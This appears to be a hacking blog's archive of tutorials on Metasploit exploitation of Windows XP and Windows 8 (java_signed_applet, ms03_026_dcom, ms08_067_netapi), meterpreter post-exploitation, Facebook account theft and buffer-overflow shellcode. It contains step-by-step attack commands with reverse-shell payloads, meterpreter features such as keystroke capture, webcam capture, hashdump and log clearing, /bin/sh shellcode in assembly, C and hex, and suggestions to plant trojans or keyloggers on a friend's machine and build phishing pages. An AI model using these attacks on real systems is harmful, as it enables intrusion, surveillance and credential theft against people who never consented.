Affichage des articles dont le libellé est payload. Afficher tous les articles
Affichage des articles dont le libellé est payload. Afficher tous les articles

Java signed applet Hack Windows 8 Java vulnerability

Purpose of this tutorial

In this tutorial we will look at how difficult it can be to hack modern operating systems. While you won't be getting the kind of results you were expecting, you will learn a lot here. The exploit will not work at first go, it will not work in the second go, it will eventually work, but we would have modified too many settings in the target OS to call it success. We will be using a pretty mainstream exploit here, the java signed applet exploit.
(Just in case you're new here. You need to have Kali Linux installed, as well as have some basic info about metasploit. Here is the collection of all tutorials. Read first few or maybe all. I write new posts assuming you've read the previous ones)

Hack any Windows Version

In the previous tutorials we have hacked Windows XP and tested a few Payloads and its features. In this tutorial, we will use a Java exploit to hack any Windows version. Now there are some things that you need to know-
  1. There are no 'type something on console and press enter' exploits for modern Operating Systems. They invest enough in security to patch any such vulnerabilities. 
  2. The modern operating systems have exploits where the user has to do something like click on a link, install some program, and in our case, allow java plugin to be used.
  3. The Operating systems are quite secure, however the applications installed by the users almost always have some bugs which can be exploited, and then by privilege escalation methods, you can get a administrator shell. Jave is widely used, and is, unfortunately, quite secure (but we will still use a  Java exploit here)
  4. If you have the latest OS and latest version of Java installed, then they already know how to deal with these kind of attacks and it won't work. We will use Windows 8 and Java 7 build 60 (I upgraded it today), and our exploit will not work. We will then see how to make it work. We will learn a lot of new things. Please follow along only if you have curiosity for knowledge, not just desire to hack.

Java Signed Applet Exploit (browser based exploit)

Some official words here, to help with your digestion-

This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resultin
g signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions.

Follow these steps

Commands to execute in bold and red and instruction is green.

root@kali:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
root@kali:~# msfconsole _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.
       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1060 exploits - 659 auxiliary - 178 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf > use exploit/multi/browser/java_signed_applet (Java signed applet exploit)    msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp (meterpreter payload)PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST IP needed here   yes       The listen address   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set LHOST 192.168.154.134 (type ifconfig to find your Kali IP) LHOST => 192.168.154.134
msf  exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
msf  exploit(java_signed_applet) >
[*] Started reverse handler on 192.168.154.134:4444
[*] Using URL: http://0.0.0.0:8080/ybfxLEoT
[*]  Local IP: http://192.168.154.134:8080/ybfxLEoT (copy this and paste it into the browser of computer you want to hack)[*] Server started.
[*] 192.168.154.1    java_signed_applet - Handling request
[*] 192.168.154.1    java_signed_applet - Handling request
[*] 192.168.154.1    java_signed_applet - Handling request
msf  exploit(java_signed_applet) >

On our Windows 8 machine

If you haven't installed Java then this is what you'll see.
If you have installed Java then this is what you'll see.


Now after you click run this time, you might end up seeing a dialog which blocked access to java plugin even after we allowed it.
If you are using an older version of Java, you might have gained access already, unless your antivirus detected the payload, which is basically a trojan (if you succeed here, a session will be created in metasploit, but it will be in background. See the end of tutorial to find out how to use that session and then come back here to see the scenario in case of Windows 8, there are things to learn) But it my case, now it's time to realize that we've taken a head on collision with a really secure operating system and the latest version of Java. Now, as I said, this will not work, but you can still give it your best shot.

Why won't it work

Java Sandbox

In technical terms : The java-sandbox allows you to securely execute untrusted code (for example, user generated scripts in scripting languages such as groovy or rhino) from within your application. It allows you to specify resources and classes that may be used by the code, thus, separating the execution from the application's execution environment. It allows to wrap execution environments in threads or even execute them remotely on different jvms.(sourceforge)

In less technical terms:In April, Oracle instituted a number of changes starting with Java 7u21. The new update introduced prompts warning users that an unsigned applet could potentially harm the user’s computer. This came months after Oracle changed Java’s default security settings from medium to high, essentially preventing unsigned applets from executing automatically, requiring instead a user to allow the applet to proceed. Developers must now sign their applets with a certificate from a trusted Certificate Authority. (threatpost)

In English : New versions of Java have an added feature known as Java sandbox. Whenever a java applet is loaded on a browser, it will firstly require user's permission to execute. After the user has given permission, the applet will load inside a sandbox (which is a runtime environment seperated from rest of the computer, like a cage, and the java applet is harmless as long as it is inside). That doesn't solve their problem though, as sandbox stops the Java applet to do much, thereby destroying the whole purpose, even for the genuine developers. So, Java restricts the unsigned applets from exercising much of their functionality, and only the signed applets can do anything. So, hats off to Oracle, for proving that even client side vulnerabilities are not that easy. And sorry to disappoint you guys, but I had to tell you how secure the modern operating systems are. Nevertheless, going to Java control panel, and security tab, will lead you to the conclusion that the Java security level is high by default. And even more mind boggling is the fact that the security levels are - medium, high, very high. Guess the days of 'low' security are gone. However, medium is just what we are looking for.
Sandbox is enabled in high level. 
Sandbox is disabled in medium level. That will solve our purpose here.
Now we opened our java applet again and this time a really dangerous looking security warning dialog came up. Nevertheless, we clicked on "I accept" and then run.
As if this wasn't enough. Windows had to interfere. I could almost hear Windows Defender saying, Java is good, but Microsoft still trusts it's own antivirus for security. Our exploit failed yet again. This time it was the antivirus.
You might have guessed, disable the antivirus.

Now, finally, I refreshed the URL, accepted the warning and allowed the applet to run. I got a new session on Metasploit. The sweet smell of success was highly diluted by the fact that we really rigged the game in our favour. In a real life scenario, you can't expect the AV to be disabled and the security settings set to anything other than the default value.

Use the following commands to switch to the created sessions
msf  exploit(java_signed_applet) > sessions

Active sessions
===============

  Id  Type                   Information     Connection
  --  ----                   -----------     ----------
  1   meterpreter x86/win32  Home\Me @ HOME  192.168.154.134:4444 -> 192.168.154.1:49682 (192.168.154.1)

msf  exploit(java_signed_applet) > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K        Terminate all sessions
    -c  Run a command on the session given with -i, or all
    -d  Detach an interactive session
    -h        Help banner
    -i  Interact with the supplied session ID
    -k  Terminate session
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s  Run a script on the session given with -i, or all
    -u  Upgrade a win32 shell to a meterpreter session
    -v        List verbose fields

msf  exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

From here, all the meterpreter functionality is available. Here is a list which can be obtained by typing help on meterpretor.
meterpreter > help

Core Commands
=============
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================
    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

Priv: Elevate Commands
======================
    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
========================
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

Conclusion

If you've followed along so far, you might be feeling disappointed. While the feeling is natural, it is quite unnecessary. A better way to look at it is the first step in real world pentesting. All this while we were dealing with non-existent scenarios. Old unpatched grandma's Windows XP machines. These don't exist in the real world. In reality we have to deal with strong defenses, limited rights, antiviruses, firewalls, etc. Soon you'll be writing your own exploits (okay not that soon), and evading firewalls and antiviruses (what we did here is not called evasion, you can't simply turn off antivirus protection like that as you don't have access to the computer). In the next few tutorials we'll see how to get around all the things we did and shouldn't have done (disabling AV and reducing Java protection level). There are things that can't be avoided (the target has to go to a URL containing the applet and allow it to run), but we will try to make things as real world as possible. We will also move to some non-traditional exploits, as their AV detection rate is much less. We will look into encryption and anti-virus evasion in detail. Lot of things need to be done. Just remember, you are in hand to hand combat with one of the most secure systems you'll come across, and it's not gonna be easy.

~ jeudi 29 mai 2014 0 commentaires

Hack Facebook Account : Stuff You Should Know

Hack Facebook?

Okay, so you got lured into the idea of hacking a Facebook account? I won't ask why. Everyone has their reasons. If you came here to learn how to hack a Facebook account, feel free to leave, because the title read - Hack Facebook Account : Stuff You Should Know - and not - How to hack a facebook account (well actually don't leave, I have something for you later in this tutorial, something on actually hacking Facebook) .That being said, there are a lot of real hacking tutorials around the website you might want to read. However, if you are here on a pure curiosity basis, then read on, and you will be a smarter person by the end of this post than you were when you began reading it.

Why not to think about hacking facebook

Search google images for facebook hack and you already
 see so many misleading programs. I mean
just enter user ID and they'll provide
 you with username and password.
It's surprising how many people actually expect it to work.

First, because you can't. Well, actually you can, but the high improbability of success makes it stand next toyou can't hack facebook. If you think typing 'hack facebook account' on google, clicking on the first result, and entering the target's email address will give you the password of his/her Facebook account, then you are not on the general level of stupidity, you have achieved an appreciatively high one. Come on, if it were so easy to hack a FB account no one would be using FB to start with. There is so much on our Facebook account that we can't even imagine the consequences if it were to get into the hands of a seasoned hacker, leave alone a novice (not even a novice for that matter) who just searched google for hacking facebook.
impossible, so much so, that I won't be exaggerating in saying that it can't be hacked. As far as the picture on the left is concerned, its one of the many tools offered on the internet, all of which have the following in common-
  1. All have very easy user interface. You just have to enter the user id, and click hack.
  2. All have download links which will take you to a survey, or some annoying ads.
  3. All are 100% not working.


What does 'hacking Facebook' actually mean?

What is the actual meaning of hacking Facebook. Most of us are misguided by the term hacking in general. Hacking incorporates the attainment of someone's password, but hacking is so much more. Account passwords to hacking are just like coins are to the subway surfer game. You get coins along the way, your progress is partially judged on the basis of coins acquired, but the idea is to find your way through the obstacles and keep moving ahead. In general sense, when you use the term hacking Facebook, you mean to understand the functioning of the website, find out about its database management systems, scripts employed, use of cookies, language on which it is built on, etc. Then you find vulnerabilities in the working of the websites, and code exploits to break through the obstacles and gain privileges into their systems, using suitable payloads. The next step would be privilege escalation. For example, you found out a vulnerability that allows you to look into the database and see the email address and cellphone number of any user. You would want to escalate your privileges and also gain access to their passwords. The last step may be setting up a backdoor, for quicker access next time. Another step might be to clear your traces so that you don't get caught. And trust me, you can't do this. I mean you wouldn't be reading a blog on beginner level hacking on Kali Linux if you had so far with web pentesting. So, the conclusion is that hacking Facebook is a real big deal, not everyone's piece of cake (I admit even I'm nowhere close to the level of expertise where I would be playing with databases on Facebook servers). And the Facebook passwords are just a reward that you get after hacking Facebook. But are we missing something? There can't be only one way to get someone's facebook password. I mean we don't want administrator access to all the Facebook databases, just a password of one of the millions of users. There must be a hole somewhere. That kid next door claims he can get Facebook password of anyone, and he's good, but not 'code a exploit for Facebook' good, no, not that good. This is where social engineering steps in.

Social Engineering

With time, the level of security in all fields of life keeps getting stronger. The element of encryption has reached almost unbeatable stage. With 256 bit encryption, cracking will take practically forever. The element of laziness is in our favor (not everyone upgrades to latest security measures), and so is the element of cost-effectiveness and carelessness (you don't picture a nerd kid with glasses next door when you are deciding between WEP and WPA for your password). But nevertheless, things are changing, but one thing remains constant. Humans. Humans in general are stupid. Not really, a better word would be ignorant, not aware of how stuff works. Most Facebook users have no idea about what all Facebook is doing for their accounts security, and how easily their carelessness can ruin each and every one of Facebook's effort to protect their private information.

Humans are the weakest link in any security system

From leaving one's account logged in to not paying attention to someone who's peeping from behind, watching them type their passwords, humans can be really ignorant. But we need not rely on this level of ignorance for passwords (I stopped using the word stupid because it'll definitely annoy and offend people. I mean not good at computers doesn't really mean stupid. They have other stuff to do than protect their accounts). We can very well get the password of an average internet user who is not very paranoid and cynical about stuff. We can't hack Facebook and gain access to their servers, but your friends machine isn't that well guarded. A virus binded with a game he asked you to fetch in a USB drive? An average person won't think that you might have planted a trojan or a keylogger in the USB drive when he takes a file from you. Or maybe send him a link which will silently install some malware in his computer. Many people don't think twice before clicking on a link (some people do, though). Or maybe make a fake login page and send him a professional looking email, directing him to a website where he ends up receiving a login page somehow (you have to make it look real and genuine, backed up by a nice story, that you can expect the target to buy). There are many more methods. As far as the promise for something later in this tutorial about actual Facebook hacking, I have provided you with a small trailer about what you can do, in the next few tutorials we will discuss stuff in detail. The first tutorial is here.


Credential Harvester To Hack Facebook (Phishing)


I don't usually put this disclaimer, but as it was a tutorial that could potentially lead a lot of people on the wrong track (away from the quest on knowledge and towards the quest for illegal hacking and account passwords), here is a warning. Everything on this site is for educational purposes and I won't be responsible for anything you do with this information. If you do something illegal, the jail time would be yours to serve, not mine. So be careful where you are headed.

~ lundi 26 mai 2014 0 commentaires

Penetration Testing : Hacking Windows Using Metaploit and Meterpreter

Pentesting with Windows Using Metasploit

Now, in the previous tutorial, which was the first tutorial on practical penetration testing, we got our hacking lab setup and exploited our first victim machine, which was an unpatched and vulnerable Windows XP machine. Our attacker machine was Kali Linux, and we were using Metasploit Framework, the most best tool when it comes to penetration testing (pentesting). We used the MS08-dcom vulnerability, which is a very famous vulnerability in Windows XP. The fact that it is famous means that most of the Windows machines already have this vulnerability patched, which means it will not actually work on a real life system (unless its your grandpa's system, which does not have automatic updates enabled). Now in this tutorial we will move on to payload execution, and see what all we can do after we have successfully exploited a vulnerability. It's important that you go through the previous tutorial in order to understand this one, as I will not explain the steps on how to exploit a system.



I will only show you what to do after you have successfully exploited one. Here is the link-

Exploiting A Vulnerable Windows Machine Using Metasploit

The above link will also help you setup a penetration testing lab with an attacker machine (Kali linux), a victim machine (XP unpatched). Both will be virtual machines and will be created using VMware workstation.  Now assuming you have read the above tutorial and have successfully exploited an XP machine, you are ready to move from the tedious jobs to the fun ones.

For those who come from previous tutorial

You are most probably left with something like
C:\WINDOWS\system32>
Now this is exactly what you'll get if you start a command prompt shell in your XP. A command prompt shell is like the terminal in linux. From here you  can do stuff in non GUI mode. The command prompt can be started on a Windows machine ( will work on any version most probably). Type  + R. The windows key can be found between ctrl and alt, and looks like the windows logo. This will open the Run window.( If the key combination doesn't seem to work, figure out some other way to get the run windows. Alternatively you can open the task manager and click new task.) Now type cmd and press enter. You will see a black windows with title command prompt. This is exactly what you obtained in your Kali machine after you successfully completed previous tutorial. Now what you can do is move around, create and delete stuff etc. For example 'cd..' (no quotes) takes you one directly above where you already where. cd takes you to the name folder in command prompt (if it exists). Now I can't really start teaching command prompt here, and it will be better if you google it up or go to this site about command prompt codes. After you have played enough, type exit and you'll leave the command prompt. You can now move on to a better payload than the shell_bind_tcp that we were using. We will use the meterpreter payload.

Steps you don't repeat

  • Information gathering - You don't have to determine the IP addresses of target and victim computer again. They are the same.
  • You don't have to specify the exploit again, however you can use a new exploit if you want to. I recommend that you use a new exploit as you have to take every opportunity to practice more and more stuff, specially when you just got started. We used exploit/windows/dcerpc/ms03_026_dcom. This time we will use netapi , i.e. exploit/windows/smb/ms08_067_netapi

Things that changed

  • The PAYLOAD - We are using meterpreter payload instead of shell_bind_tcp. We will end up with something like meterpreter> instead of C:\WINDOWS\system32>. Once successful, meterpreter provides a lot of functionality.
  • The payload requirements. All payloads require you to specify the port and IP of target (RHOST). However, some payloads require the IP of attacker machine too (LHOST). Use SHOW OPTIONS to figure out what all data your exploit needs. In the information gathering step you already obtained the IP and open ports of victim as well as your own IP. Use the SET command to assign whatever values you need to assign. All other SET commands will be same, other than 
SET LHOST 192.168.---.---
The screenshots below will help you through the process. I will make it even more detailed when I am able to get time.

Exploiting the machine

Here are a few screenshots to guide you through the process of exploiting the machine. I am not explaining anything, as you already know the details from the previous tutorial. The point I want you to notice is that I'm using a different payload and a different exploit this time. The payload is meterpreter (the best payload offered by metasploit, with a load of functionality) and the exploit is Netapi (works on the same MS08 vulnerability, just a different exploit). The exploit has been changed just for the sake of practice, and you are suggested to try out even more exploits (most of the times you'll fail, but keep trying). Here are the screens-
Victim's IP (Windows XP)
Victim's IP (Windows XP)
Attacker's IP (Kali Linux)
Attacker's IP (Kali Linux)


Starting the postgresql and metasploit services
Starting the postgresql and metasploit services
Starting the metasploit framework
Starting the metasploit framework


Selecting the exploit
Selecting the exploit
Setting RHOST and PAYLOAD
Setting RHOST and PAYLOAD
Exploiting the XP target
Exploiting the XP target
So we finally have exploited the machine. Now the fun part begins

Post-exploitation fun : Using the payload features

To see a list of options provided by meterpreter, just type ?
meterpreter > ?

Getting to know the victim

Now lets do a basic sysinfo to see some info about the system we have just gained access to. Also, do a getuid to get information about the user that you are logged in as in the victim system, and the privilege the user (or you) have. And getpid will show you the process your payload is using, and ps lists all the processes running on the victim system.
meterpreter > sysinfo
meterpreter > getpid
meterpreter > getuid
meterpreter > ps
 Note: Making these code boxes is getting tedious some I'm gonna keep the code in bold. You guys help yourselves. (I'm lazy as hell)

A few random meterpreter run commands

You might also do a run checkvm to check if your target is running on a virtual machine.
To get a list of all applications installed on your victim machine, type run get_application_list.
To stop the antivirus on the victim, do a run killav. It will not work in practical cases, as killing an antivirus process can't possibly as easy as a single line of code. However, depending on your victim machine which you have chosen in this practice session, there are chances that it might work.

Conclusion

You just gotta try more commands. Most are fun.
That's it I guess. I'd leave you here. Explore other commands that you can execute, and comment if you find anything interesting. I'd keep adding stuff to this list whenever I get time.

~ vendredi 28 février 2014 0 commentaires

Penetration Testing - Hacking XP

Our approach to penetration testing is going to be simple. I already made a post about the ideal way to begin penetration testing. But we aren't going to ideal way. I'm gonna teach you penetration testing the way I learnt it. By doing actual penetration and exploitation. We can't hack completely patched Windows 7 or Windows 8 right in the first tutorial, but we can definitely hack an unpatched Windows XP machine. However, to do that, you need to victim machine. Testing this method on someone else's computer is not recommended and is quite illegal. It is strongly advised to create your own virtual machine and test exploits there.

What are you going to need

Knowledge

  • Basic Penetration testing terms (I recommend that you take a look here, as I'm going to use the terms freely without any explanation here in this tutorial)
  • The tough manual way of penetration testing (A large patch of advanced material which will help you become a great pentester if you have the patience to read it all and capability to understand it)
  • VMWare tools (Without Vmware tools there is no way you can have a Kali linux (attacker machine) and unpatched XP (target machine) running at the same time in one single computer)

Virtual Machines

  • Kali linux ( Click the link for a complete detailed guide)
  • Windows XP (After you've followed the tutorial above for installing Kali linux, installing XP on a VM will be a piece of cake, a few screenshots of the process)



Now there is catch in Windows XP. While Kali linux is free, Windows XP is not. So you have to buy one. I'm dead against piracy, and won't promote anything of that kind on my blog. Just make sure that when you are buying a Windows XP cd, it is unpatched and SP1. If it is patched then the exploits won't work. Your best bet would be to look up your shelves to find an old XP cd that you bought years ago which is catching dust, and put it to some use.

A look at Metasploit Framework

Starting the framework

"In keeping with the Kali Linux Network Services Policy, there are no network services, including database services, running on boot so there are a couple of steps that need to be taken in order to get Metasploit up and running with database support." Simply speaking, there are some services that metasploit needs which aren't started with system startup. So here's some commands you need to execute on your console before you can start metasploit
service postgresql start
(Metasploit uses PostgreSQL as its database so it needs to be launched first.)

With PostgreSQL up and running, we next need to launch the metasploit service. The first time the service is launched, it will create a msf3 database user and a database called msf3. The service will also launch the Metasploit RPC and Web servers it requires.
service metasploit start
Now finally we are ready to start metasploit framework.
msfconsole

Looking at the targets

Right now, my metasploit framework is running on Kali on Vmware on a Windows 8 machine. Also, there is a Windows XP Sp3 virtual machine running side my side with my Kali. So what we need to do is detect these machines in Metasploit framework. For this we'll do a port scan.

Port Scan

Metasploit offers an awesome port scanning function which goes by the name auxiliary scanner. Here is the command to execute this scan
To use this feature, enter the following code-
use auxiliary/scanner/portscan/tcp
Type show options to see the available options
show options
 Now we have to change a few settings, firstly, we should reduce the number of ports scanned
 set ports 1-500
Secondly, we have to specify a target IP to scan. Now this is a bit tricky, as the IP is not going to be the same in all cases. So here's what you'll do. Go to your XP virtual machine (the one you are trying to hack). Open command prompt and type
ipconfig
In the results, check the IP of the machine. This is what you'll have to specify the RHOSTS option as.
In my case the IP is 192.168.63.131
Now go back to your Kali machine, and type the fol (change the IP as required)
set RHOST 192.168.63.131
Here's what it should look like


There's a slight error here, I spelled RHOSTS wrong. Make sure you add the 's' in the end.
Now we are ready for some action, do a show options again to see what all changes you've made. Finally, type-
run
The scan will start and after some time it will show you which tcp ports are open and vulnerable to attack.
If you had not been using an unpatched version of Windows, there will not be any vulnerable ports.
This basically means that there are no open ports here. Nothing much you can do. However if you had some good luck there, and had a vulnerable machine, you will have some vulnerable ports. In my case, I turned off the firewall on the windows machine and run the auxiliary module again.
I got 3 open ports this time. If you are using some higher XP version, you too might need to disable firewall in order to get open ports.
Now we know we have a target at IP 192.168.63.131 and it has port 135 139 and 445 open.


Real life port scan

In actual pentesting environment, you don't know about the IP, open ports and OS of the target computer. In such cases, we can use Nmap port scanner which is much better than auxiliary. We'll come to that later.

Finding Exploits

This step is important. We need to figure out which exploits work on the OS we are attacking. In our case, we already know what to do. Type back to get out of auxiliary scanner. Search for dcom on msfconsole.
search dcom
This is a very famous exploit for Windows.
Copy the exploit number 3. (Which shows great as rank). In the next line, type
use exploit/windows/dcerpc/ms03_026_dcom
You are now using the most famous Windows exploit. Type show options again
show options
Again, set the RHOST as 192.168.63.131 (replace with the IP of your target)
set RHOST 192.168.63.131 
Also, set a payload.
set PAYLOAD windows/shell_bind_tcp

And here's the best part
exploit

You have now successfully broken into the target computer. You have an open shell on the target computer with administrator privileges. In short, you own that computer now. Try out what all you can do from here on. I'll come up with more in the next tutorial.
Update - The next tutorial is here. It discusses the post exploitation fun that you can have with the meterpreter payload.  Post exploitation fun in an exploited xp machine
We have a pentesting lab now and have successfully exploited an XP machine.

~ vendredi 14 février 2014 0 commentaires

BUFFER OVERFLOW Shellcode: The Payload

SHELLCODE



In order to execute our raw exploit codes directly in the stack or other parts of the memory, which deal with binary, we need assembly codes that represent a raw set of machine instructions of the target machines.  A shellcode is an assembly language program which executes a shell, such as the '/bin/sh' for Unix/Linux shell, or the command.com shell on DOS and Microsoft Windows.  Bear in mind that in exploit, not just a normal shell but what we want is a root shell or Administrator privilege (note: In certain circumstances, in Windows there are account that having privileges higher than Administrator such as LocalSystem).  Shellcode is used to spawn a (root) shell because it will give us the highest privilege.  A shellcode may be used as an exploit payload, providing a hacker or attacker with command line access to a computer system.  Shellcodes are typically injected into computer memory by exploiting stack or heap-based buffer overflows vulnerabilities, or format string attacks.  In a classic and normal exploits, shellcode execution can be triggered by overwriting a stack return address with the address of the injected shellcode.  As a result, instead the subroutine returns to the caller, it returns to the shellcode, spawning a shell.  Examples of shellcodes may be in the following forms:

CLICK HERE

As an assembly language - shellcode.s (shellcode.asm – for Windows):

    #a very simple assembly (AT&T/Linux) program for spawning a shell

    .section .data

    .section .text

    .globl _start

    

    _start:

             xor %eax, %eax

             mov $70, %al           #setreuid is syscall 70

             xor %ebx, %ebx

             xor %ecx, %ecx

             int $0x80

    

             jmp ender

    

             starter:

             popl %ebx              #get the address of the string

             xor  %eax, %eax

             mov  %al, 0x07(%ebx)   #put a NULL where the N is in the string

             movl %ebx, 0x08(%ebx)  #put the address of the string

                                    #to where the AAAA is

             movl %ebx, 0x0c(%ebx)  #put 4 null bytes into where the BBBB is

             mov $11, %al           #execve is syscall 11

             lea 0x08(%ebx), %ecx   #load the address of where the AAAA was

             lea 0x0c(%ebx), %edx   #load the address of the NULLS

             int $0x80              #call the kernel

    

    ender:

             call starter

             .string "/bin/shNAAAABBBB"



As a C program - shellcode.c:

    #include

    

    int main(int argc, char*argv[ ])

    {

       char *shell[2];

    

       shell[0] = "/bin/sh";

       shell[1] = NULL;

       execve(shell[0], shell, NULL);

       return 0;

    }

Take note that the assembly code can be embedded in the C code using  the __asm__ keyword and asm for the reverse (GCC, Microsoft). As a null terminated C string char array in C program:

    char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

The shellcode declared as a C string of char type may be the most widely used in exploit codes and the typical format is shown below:

    char shcode[ ] = "\x90\x31\x89...";

    char shcode[ ] = {0x90,0x90,0x31,...};

In a wider definition, shell code not just be used to spawn a shell, it also can be used to create a general payload.  Generally an exploit usually consists of two major components:



    The exploitation technique.

    The payload.



The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that through one of the following techniques:



    Stack-based Buffer Overflow.

    Heap-based Buffer Overflow.

    Integer Overflow.

    Format String.

    Race condition.

    Memory corruption, etc.



Once we control the execution path, we probably want it to execute our code. In this case, we need to include these codes or instruction sets in our exploit. Then, the part of code which allows us to execute arbitrary code is known as payload.  The payload can virtually do everything a computer program can do with the appropriate permission and right of the vulnerable programs or services.


Shellcode as a payload



When the shell is spawned, it may be the simplest way that allows the attacker to explore the target system interactively.  For example, it might give the attacker the ability to discover internal network, to further penetrate into other computers. A shell may also allow upload/download file/database, which is usually needed as proof of successful penetration test (pen-test). You also may easily install Trojan horse, key logger, sniffer, enterprise worm, WinVNC, etc. A shell is also useful to restart the vulnerable services keeping the service running.  But more importantly, restarting the vulnerable service usually allows us to attack the service again.  We also may clean up traces like log files and events with a shell. For Windows we may alter the registry to make it running for every system start up and stopping any antivirus programs.

